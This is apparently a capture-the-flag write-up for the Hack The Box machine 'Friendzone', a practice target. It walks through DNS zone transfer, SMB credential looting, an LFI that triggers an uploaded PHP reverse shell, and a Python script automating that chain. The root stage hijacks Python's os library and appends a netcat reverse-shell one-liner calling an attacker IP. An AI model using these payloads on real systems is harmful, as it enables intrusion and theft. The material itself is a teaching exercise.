Writeup: Hack The Box - Machines - Friendzone

Description

  • Name: Friendzone
  • IP : 10.10.10.123
  • Author : askar
  • Difficulty : 5.1/10

Discovery

sudo nmap -sV -sC -v -T5 -A -oA scan --max-retries 2 10.10.10.123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Host is up (0.037s latency).
Not shown: 985 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
| 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (EdDSA)
53/tcp open domain
| dns-nsid:
| bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http?
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
563/tcp filtered snews
1259/tcp filtered opennl-voice
2170/tcp filtered eyetv
5432/tcp filtered postgresql
5440/tcp filtered unknown
5560/tcp filtered isqlplus
9898/tcp filtered monkeycom
49163/tcp filtered unknown
Aggressive OS guesses: Linux 3.18 (95%), Linux 3.2 - 4.8 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.8 (93%), DD-WRT (Linux 3.18) (92%), DD-WRT v3.0 (Linux 4.4.2) (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 46.149 days (since Sat Feb 16 16:12:54 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=248 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| FRIENDZONE<00> Flags: <unique><active>
| FRIENDZONE<03> Flags: <unique><active>
| FRIENDZONE<20> Flags: <unique><active>
| WORKGROUP

we have :

  • ftp (21)
  • ssh (22)
  • dns/tcp (53)
  • http (80)
  • smb (139)
  • https (443)
  • smb (445)

Ftp is not anonymous and I don’t start usually bruteforcing with random credentials the ssh, so what’s on dns on tcp port? If we see carefully on the scan of the 443 port there’s a certificate issued to friendzone.red, so we need to edit the /etc/hosts to add this domain as 10.10.10.123. We can now do some information gathering on dns with dig , and check if the zone-transfer is enabled without authentication.

dig axfr @10.10.10.123 friendzone.red

we get :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; <<>> DiG 9.11.3-1ubuntu1.5-Ubuntu <<>> axfr @10.10.10.123 friendzone.red
; (1 server found)
;; global options: +cmd
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 35 msec
;; SERVER: 10.10.10.123#53(10.10.10.123)
;; WHEN: Wed Apr 03 21:17:45 CEST 2019
;; XFR size: 8 records (messages 1, bytes 289)

Now we have other subdomains :D .

Investigating on the http (80 port) we don’t find anything useful, just a static page :

1
2
3
4
Have you ever been friendzoned ?
if yes, try to get out of this zone ;)
Call us at : +999999999
Email us at: info@friendzoneportal.red

the next port we are going to scan is 139 samba :

smbmap -H friendzone.red

output :

1
2
3
4
5
6
7
8
9
10
11
[+] Finding open SMB ports....
[+] Guest SMB session established on friendzone.red...
[+] IP: friendzone.red:445 Name: friendzone.htb

Disk Permissions
---- -----------
print$ NO ACCESS
Files NO ACCESS
general READ ONLY
Development READ, WRITE
IPC$ NO ACCESS

Connecting to general

1
2
3
4
5
6
7
8
9
10
11
smbclient //friendzone.red/general
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\giovanni's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 16 21:10:51 2019
.. D 0 Wed Jan 23 22:51:02 2019
creds.txt N 57 Wed Oct 10 01:52:42 2018

9221460 blocks of size 1024. 6389908 blocks available
smb: \> %

Yeah,we got creds.txt which contains :

1
2
3
creds for the admin THING:

admin:WORKWORKHhallelujah@#

In development there aren’t useful files, but we can write into that directory (keep in mind).
If we go to https://friendzone.red and investigate in the source page we have :

1
2
3
4
5
6
7
8
9
10
11
<title>FriendZone escape software</title>
<br>
<br>

<center><h2>Ready to escape from friend zone !</h2></center>

<center><img src="e.gif"></center>

<!-- Just doing some development here -->
<!-- /js/js -->
<!-- Don't go deep ;) -->

Well, we need to go to /js/js, and we get :

1
<p>Testing some functions !</p><p>I'am trying not to break things !</p>VWdSQWRSajVSUzE1NTQzMTg5OTdFSHpjeTIxUkUz<!-- dont stare too much , you will be smashed ! , it's all about times and zones ! -->

Pwn User

We have two password but no login forms, so we need to enumerate better and try to reach the sites dumped from the dig command. We start with https://administrator1.friendzone.red , and here it is :

We can log in using the credentials found in the creds.txt file :

username : admin

password : WORKWORKHhallelujah@#

and we are redirected to the dashboard.php page which has the following content :

1
2
3
4
5
6
7
8
9
Smart photo script for friendzone corp !
* Note : we are dealing with a beginner php developer and the application is not tested yet !


image_name param is missed !

please enter it to show the image

default is image_id=a.jpg&pagename=timestamp

If we try to go to the page : https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp it gives us :

the images are located in the /images directory and we have two images (a and b), but what is timestamp? it’s probably a php page, but unfortunatly I couldn’t find a method to enumerate the files in the directory where the timestamp.php resides. Luckly the developer is a beginner and he forgot to secure the page against an LFI attack. We can upload a reverse shell into the /Development/ samba drive and we can try to reach the reverse shell from the website. However we don’t know where the drive is located on the machine, so we need to enumerate the samba service better with nmap :

nmap --script smb-enum-shares.nse --script-args=unsage=1 -p139 10.10.10.123

and we get :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.10.123\Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 8
| Max Users: <unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\Files:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\hole
| Anonymous access: <none>
| Current user access: <none>

So the samba directory where we can upload a reverse shell is located in /etc/Development/.
To upload the reverse shell we can issue the following command :

echo "" | smbclient //10.10.10.123/Development -c 'put reverse-shell.php'

Then in one terminal open netcat on the port specified on the reverse-shell and from the browser we can try to call the shell with the following URL :

1
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=../../../../etc/Development/reverse-shell

and…

To automate the process of the reverse shell upload and RCE :

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
import requests

os.system('echo ""| smbclient //10.10.10.123/Development -c \'put revshell.php\
\'')
url = "https://administrator1.friendzone.red/login.php"
url_rce = "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&\
pagename=../../../../../etc/Development/revshell"
login_data = {"username": "admin", "password": "WORKWORKHhallelujah@#"}

with requests.Session() as s:
s.post(url, data=login_data, verify=False)
s.get(url_rce, verify=False)

In one terminal execute the netcat listener and in the other launch the python script

Pwn Root

The first thing we can do is to check if there’s some credentials in /var/www/ :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ls -la
total 36
drwxr-xr-x 8 root root 4096 Oct 6 2018 .
drwxr-xr-x 12 root root 4096 Oct 6 2018 ..
drwxr-xr-x 3 root root 4096 Jan 16 22:13 admin
drwxr-xr-x 4 root root 4096 Oct 6 2018 friendzone
drwxr-xr-x 2 root root 4096 Oct 6 2018 friendzoneportal
drwxr-xr-x 2 root root 4096 Jan 15 21:08 friendzoneportaladmin
drwxr-xr-x 3 root root 4096 Oct 6 2018 html
-rw-r--r-- 1 root root 116 Oct 6 2018 mysql_data.conf
drwxr-xr-x 3 root root 4096 Oct 6 2018 uploads
$ grep -R pass
admin/login.php:$password = $_POST["password"];
admin/login.php:if ($username==="admin" and $password==="WORKWORKHhallelujah@#"){
admin/index.html: <input type="password" placeholder="password"/>
admin/index.html: <input type="password" name="password" placeholder="password"/>
mysql_data.conf:db_pass=Agpyu12!0.213$
friendzoneportaladmin/login.php:$password = $_POST["password"];
friendzoneportaladmin/login.php:if (isset($username) && isset($password)){
friendzoneportaladmin/login.php:if ($username === "admin" && $password === "WORKWORKHhallelujah@#");
friendzoneportaladmin/index.html:<p>Password : <input type="password" name="password"></p>

And we find Agpyu12!0.213$ in mysql_data.conf. This credential works in ssh on the user friend (which is the only user with a login bash shell aside root).
So now that we have ssh on the box we can transfer easily with scp privilege escalations reconnaissance scripts : LSE and pspy. On the server we can create an hidden directory in /tmp :

mkdir /tmp/.meow && cd /tmp/.meow

and then upload with scp the script with :

1
2
scp pspy64 friend@friendzone.red:/tmp/.meow
scp lse.sh friend@friendzone.red:/tmp/.meow

The smart-linux-enumeration tool launched with the -l1 flag didn’t find anything useful a part from the capabilities set to mtr-packet and the setuid on exim4.
However even if there are lots of exploit of exim , we have on the box an updated version without vulnerabilites. mtr-packet instead doesn’t have vulnerability as of 2019.

Launching pspy64 we can see that every 2 minutes /opt/server_admin/reporter.py is executed by root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
friend@FriendZone:~$ cat /opt/server_admin/reporter.py
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer
friend@FriendZone:~$ ls -la /opt/server_admin/reporter.py
-rwxr--r-- 1 root root 424 Jan 16 22:03 /opt/server_admin/reporter.py

The script is just importing the os library without launching commands, how can a program like this be vulnerable? with library hijacking :D LINK.
Unluckly we can’t write into the /opt/server_admin directory, however if we check where the libraries are with :

1
2
3
4
5
6
7
8
9
10
11
friend@FriendZone:~$ python -c 'import sys; print "\n".join(sys.path)'

/usr/lib/python2.7
/usr/lib/python2.7/plat-x86_64-linux-gnu
/usr/lib/python2.7/lib-tk
/usr/lib/python2.7/lib-old
/usr/lib/python2.7/lib-dynload
/usr/local/lib/python2.7/dist-packages
/usr/lib/python2.7/dist-packages
friend@FriendZone:~$ ls -ld /usr/lib/python2.7/
drwxrwxrwx 27 root root 16384 Apr 9 21:43 /usr/lib/python2.7/

We can see that we can write into the /usr/lib/python2.7/

So if we write into the os.py file the following script :

1
2
3
4
f = open("/root/root.txt", "r")
flag = f.read()
fi = open("/tmp/xd", "w")
fi.write(flag)

and wait 2 minutes, we will see that the flag will compare in /tmp/xd. If you’re anxious as me in this moment you can use the command watch -n 1 -d 'cat /tmp/xd' :

However the root flag is not very satisfying as getting root shell. To get a root shell we can reuse the original os.py file and add to the end’s file

1
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.X.X 9999 >/tmp/f')

and then listen with netcat